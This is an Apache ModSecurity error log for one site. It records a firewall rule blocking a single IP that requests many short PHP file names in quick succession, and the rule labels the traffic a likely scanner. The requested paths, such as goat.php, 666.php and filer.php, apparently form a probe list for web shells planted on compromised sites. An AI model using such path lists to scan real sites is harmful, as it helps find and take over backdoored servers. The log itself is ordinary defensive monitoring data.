[Mon Mar 30 23:37:22.580117 2026] [:error] [pid 63557:tid 63569] [client 72.146.16.175:63839] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blog.php"] [unique_id "acqYsq4QNVlzYgEvIjnKggAAAQo"]
[Mon Mar 30 23:37:23.122285 2026] [:error] [pid 63557:tid 63573] [client 72.146.16.175:60771] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blog.php"] [unique_id "acqYs64QNVlzYgEvIjnKiQAAAQ4"]
[Mon Mar 30 23:37:23.600304 2026] [:error] [pid 60835:tid 60859] [client 72.146.16.175:60713] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blog.php"] [unique_id "acqYswIOJ4Lc0iJVRzwELgAAABY"]
[Mon Mar 30 23:37:24.154799 2026] [:error] [pid 60747:tid 60823] [client 72.146.16.175:61540] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/k.php"] [unique_id "acqYtAU3IY-cCpy_-zFP6gAAANQ"]
[Mon Mar 30 23:37:24.661101 2026] [:error] [pid 60747:tid 60815] [client 72.146.16.175:65455] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/k.php"] [unique_id "acqYtAU3IY-cCpy_-zFP6wAAAMw"]
[Mon Mar 30 23:37:25.140122 2026] [:error] [pid 60747:tid 60817] [client 72.146.16.175:59473] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/k.php"] [unique_id "acqYtQU3IY-cCpy_-zFP7wAAAM4"]
[Mon Mar 30 23:37:25.690370 2026] [:error] [pid 60747:tid 60808] [client 72.146.16.175:60747] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/k.php"] [unique_id "acqYtQU3IY-cCpy_-zFP8gAAAMU"]
[Mon Mar 30 23:37:26.190052 2026] [:error] [pid 60747:tid 60821] [client 72.146.16.175:62215] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goat.php"] [unique_id "acqYtgU3IY-cCpy_-zFP9gAAANI"]
[Mon Mar 30 23:37:26.682961 2026] [:error] [pid 60835:tid 60838] [client 72.146.16.175:61463] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goat.php"] [unique_id "acqYtgIOJ4Lc0iJVRzwENgAAAAE"]
[Mon Mar 30 23:37:27.184483 2026] [:error] [pid 60745:tid 60766] [client 72.146.16.175:65409] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goat.php"] [unique_id "acqYtyQDBn75QnHaPb9V_gAAAFE"]
[Mon Mar 30 23:37:27.684073 2026] [:error] [pid 60835:tid 60846] [client 72.146.16.175:63871] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goat.php"] [unique_id "acqYtwIOJ4Lc0iJVRzwEOAAAAAk"]
[Mon Mar 30 23:37:28.241459 2026] [:error] [pid 60835:tid 60853] [client 72.146.16.175:59405] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x.php"] [unique_id "acqYuAIOJ4Lc0iJVRzwEPAAAABA"]
[Mon Mar 30 23:37:28.787603 2026] [:error] [pid 60747:tid 60817] [client 72.146.16.175:60770] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x.php"] [unique_id "acqYuAU3IY-cCpy_-zFP-QAAAM4"]
[Mon Mar 30 23:37:29.272180 2026] [:error] [pid 60746:tid 60778] [client 72.146.16.175:62242] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x.php"] [unique_id "acqYuZ4kQrgjDdAbQCoyYAAAAII"]
[Mon Mar 30 23:37:29.814249 2026] [:error] [pid 63557:tid 63572] [client 72.146.16.175:60742] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x.php"] [unique_id "acqYua4QNVlzYgEvIjnKkAAAAQ0"]
[Mon Mar 30 23:37:30.288266 2026] [:error] [pid 60747:tid 60805] [client 72.146.16.175:61448] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sbhu.php"] [unique_id "acqYugU3IY-cCpy_-zFP_AAAAMI"]
[Mon Mar 30 23:37:30.766674 2026] [:error] [pid 60835:tid 60856] [client 72.146.16.175:59464] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sbhu.php"] [unique_id "acqYugIOJ4Lc0iJVRzwERAAAABM"]
[Mon Mar 30 23:37:31.280300 2026] [:error] [pid 63557:tid 63573] [client 72.146.16.175:60743] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sbhu.php"] [unique_id "acqYu64QNVlzYgEvIjnKnAAAAQ4"]
[Mon Mar 30 23:37:31.749327 2026] [:error] [pid 63557:tid 63569] [client 72.146.16.175:60213] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sbhu.php"] [unique_id "acqYu64QNVlzYgEvIjnKogAAAQo"]
[Mon Mar 30 23:37:32.279308 2026] [:error] [pid 63557:tid 63583] [client 72.146.16.175:62224] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-update.php"] [unique_id "acqYvK4QNVlzYgEvIjnKqQAAARg"]
[Mon Mar 30 23:37:32.767498 2026] [:error] [pid 63557:tid 63561] [client 72.146.16.175:65512] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-update.php"] [unique_id "acqYvK4QNVlzYgEvIjnKrAAAAQI"]
[Mon Mar 30 23:37:33.260779 2026] [:error] [pid 60745:tid 60761] [client 72.146.16.175:65415] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-update.php"] [unique_id "acqYvSQDBn75QnHaPb9WBQAAAEw"]
[Mon Mar 30 23:37:33.803004 2026] [:error] [pid 60747:tid 60813] [client 72.146.16.175:60761] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-update.php"] [unique_id "acqYvQU3IY-cCpy_-zFP_gAAAMo"]
[Mon Mar 30 23:37:34.325247 2026] [:error] [pid 63557:tid 63572] [client 72.146.16.175:62252] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alpha.php"] [unique_id "acqYvq4QNVlzYgEvIjnKsgAAAQ0"]
[Mon Mar 30 23:37:34.830115 2026] [:error] [pid 60745:tid 60771] [client 72.146.16.175:60766] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alpha.php"] [unique_id "acqYviQDBn75QnHaPb9WCQAAAFY"]
[Mon Mar 30 23:37:35.345550 2026] [:error] [pid 60835:tid 60837] [client 72.146.16.175:61494] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alpha.php"] [unique_id "acqYvwIOJ4Lc0iJVRzwESQAAAAA"]
[Mon Mar 30 23:37:35.824074 2026] [:error] [pid 60835:tid 60839] [client 72.146.16.175:58224] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alpha.php"] [unique_id "acqYvwIOJ4Lc0iJVRzwESwAAAAI"]
[Mon Mar 30 23:37:36.442907 2026] [:error] [pid 63557:tid 63572] [client 72.146.16.175:62211] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/666.php"] [unique_id "acqYwK4QNVlzYgEvIjnKuwAAAQ0"]
[Mon Mar 30 23:37:37.041281 2026] [:error] [pid 63557:tid 63562] [client 72.146.16.175:58136] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/666.php"] [unique_id "acqYwa4QNVlzYgEvIjnKvgAAAQM"]
[Mon Mar 30 23:37:37.528306 2026] [:error] [pid 60835:tid 60850] [client 72.146.16.175:65417] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/666.php"] [unique_id "acqYwQIOJ4Lc0iJVRzwEUAAAAA0"]
[Mon Mar 30 23:37:38.025839 2026] [:error] [pid 60835:tid 60845] [client 72.146.16.175:62325] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/666.php"] [unique_id "acqYwgIOJ4Lc0iJVRzwEUQAAAAg"]
[Mon Mar 30 23:37:38.547007 2026] [:error] [pid 60745:tid 60764] [client 72.146.16.175:60227] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fff.php"] [unique_id "acqYwiQDBn75QnHaPb9WCgAAAE8"]
[Mon Mar 30 23:37:39.077181 2026] [:error] [pid 60745:tid 60773] [client 72.146.16.175:65444] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fff.php"] [unique_id "acqYwyQDBn75QnHaPb9WDAAAAFg"]
[Mon Mar 30 23:37:39.580080 2026] [:error] [pid 60745:tid 60772] [client 72.146.16.175:63828] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fff.php"] [unique_id "acqYwyQDBn75QnHaPb9WDgAAAFc"]
[Mon Mar 30 23:37:40.118882 2026] [:error] [pid 60745:tid 60758] [client 72.146.16.175:60285] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fff.php"] [unique_id "acqYxCQDBn75QnHaPb9WEAAAAEk"]
[Mon Mar 30 23:37:40.626364 2026] [:error] [pid 60746:tid 60790] [client 72.146.16.175:60723] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa.php"] [unique_id "acqYxJ4kQrgjDdAbQCoyYgAAAI4"]
[Mon Mar 30 23:37:41.113404 2026] [:error] [pid 63557:tid 63568] [client 72.146.16.175:61567] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa.php"] [unique_id "acqYxa4QNVlzYgEvIjnKwgAAAQk"]
[Mon Mar 30 23:37:41.711336 2026] [:error] [pid 60745:tid 60767] [client 72.146.16.175:61493] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa.php"] [unique_id "acqYxSQDBn75QnHaPb9WFgAAAFI"]
[Mon Mar 30 23:37:48.655642 2026] [proxy_fcgi:error] [pid 60747:tid 60822] [client 72.146.16.175:61458] AH01071: Got error 'Primary script unknown'
[Mon Mar 30 23:37:55.655821 2026] [:error] [pid 60747:tid 60826] [client 72.146.16.175:61458] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wpo.php"] [unique_id "acqY0wU3IY-cCpy_-zFQHwAAANc"]
[Mon Mar 30 23:37:56.275852 2026] [:error] [pid 60747:tid 60804] [client 72.146.16.175:60741] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wpo.php"] [unique_id "acqY1AU3IY-cCpy_-zFQIAAAAME"]
[Mon Mar 30 23:37:56.853108 2026] [:error] [pid 63557:tid 63573] [client 72.146.16.175:62222] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wpo.php"] [unique_id "acqY1K4QNVlzYgEvIjnK3QAAAQ4"]
[Mon Mar 30 23:37:57.363640 2026] [:error] [pid 60835:tid 60846] [client 72.146.16.175:58194] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wpo.php"] [unique_id "acqY1QIOJ4Lc0iJVRzwEcgAAAAk"]
[Mon Mar 30 23:37:57.839225 2026] [:error] [pid 60835:tid 60858] [client 72.146.16.175:59509] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aj.php"] [unique_id "acqY1QIOJ4Lc0iJVRzwEdAAAABU"]
[Mon Mar 30 23:37:58.364806 2026] [:error] [pid 60747:tid 60820] [client 72.146.16.175:58952] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aj.php"] [unique_id "acqY1gU3IY-cCpy_-zFQJAAAANE"]
[Mon Mar 30 23:37:58.851761 2026] [:error] [pid 63557:tid 63576] [client 72.146.16.175:62221] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aj.php"] [unique_id "acqY1q4QNVlzYgEvIjnK5gAAARE"]
[Mon Mar 30 23:37:59.379441 2026] [:error] [pid 63557:tid 63580] [client 72.146.16.175:65468] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aj.php"] [unique_id "acqY164QNVlzYgEvIjnK6AAAARU"]
[Mon Mar 30 23:37:59.862657 2026] [:error] [pid 60747:tid 60817] [client 72.146.16.175:60776] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/opts.php"] [unique_id "acqY1wU3IY-cCpy_-zFQJwAAAM4"]
[Mon Mar 30 23:38:00.344174 2026] [:error] [pid 60835:tid 60842] [client 72.146.16.175:57158] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/opts.php"] [unique_id "acqY2AIOJ4Lc0iJVRzwEeQAAAAU"]
[Mon Mar 30 23:38:00.840644 2026] [:error] [pid 60835:tid 60847] [client 72.146.16.175:65440] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/opts.php"] [unique_id "acqY2AIOJ4Lc0iJVRzwEfQAAAAo"]
[Mon Mar 30 23:38:01.354886 2026] [:error] [pid 60745:tid 60749] [client 72.146.16.175:63773] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/opts.php"] [unique_id "acqY2SQDBn75QnHaPb9WKwAAAEA"]
[Mon Mar 30 23:38:01.845173 2026] [:error] [pid 60835:tid 60845] [client 72.146.16.175:65445] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/filer.php"] [unique_id "acqY2QIOJ4Lc0iJVRzwEgQAAAAg"]
[Mon Mar 30 23:38:02.361268 2026] [:error] [pid 60835:tid 60851] [client 72.146.16.175:60239] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/filer.php"] [unique_id "acqY2gIOJ4Lc0iJVRzwEgwAAAA4"]
[Mon Mar 30 23:38:02.829106 2026] [:error] [pid 63557:tid 63573] [client 72.146.16.175:61554] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/filer.php"] [unique_id "acqY2q4QNVlzYgEvIjnK6wAAAQ4"]
[Mon Mar 30 23:38:03.304008 2026] [:error] [pid 60745:tid 60765] [client 72.146.16.175:59512] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/filer.php"] [unique_id "acqY2yQDBn75QnHaPb9WMQAAAFA"]
[Mon Mar 30 23:38:03.830321 2026] [:error] [pid 63557:tid 63575] [client 72.146.16.175:60677] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lites.php"] [unique_id "acqY264QNVlzYgEvIjnK8AAAARA"]
[Mon Mar 30 23:38:04.301090 2026] [:error] [pid 60835:tid 60854] [client 72.146.16.175:61480] [client 72.146.16.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lites.php"] [unique_id "acqY3AIOJ4Lc0iJVRzwEhwAAABE"]
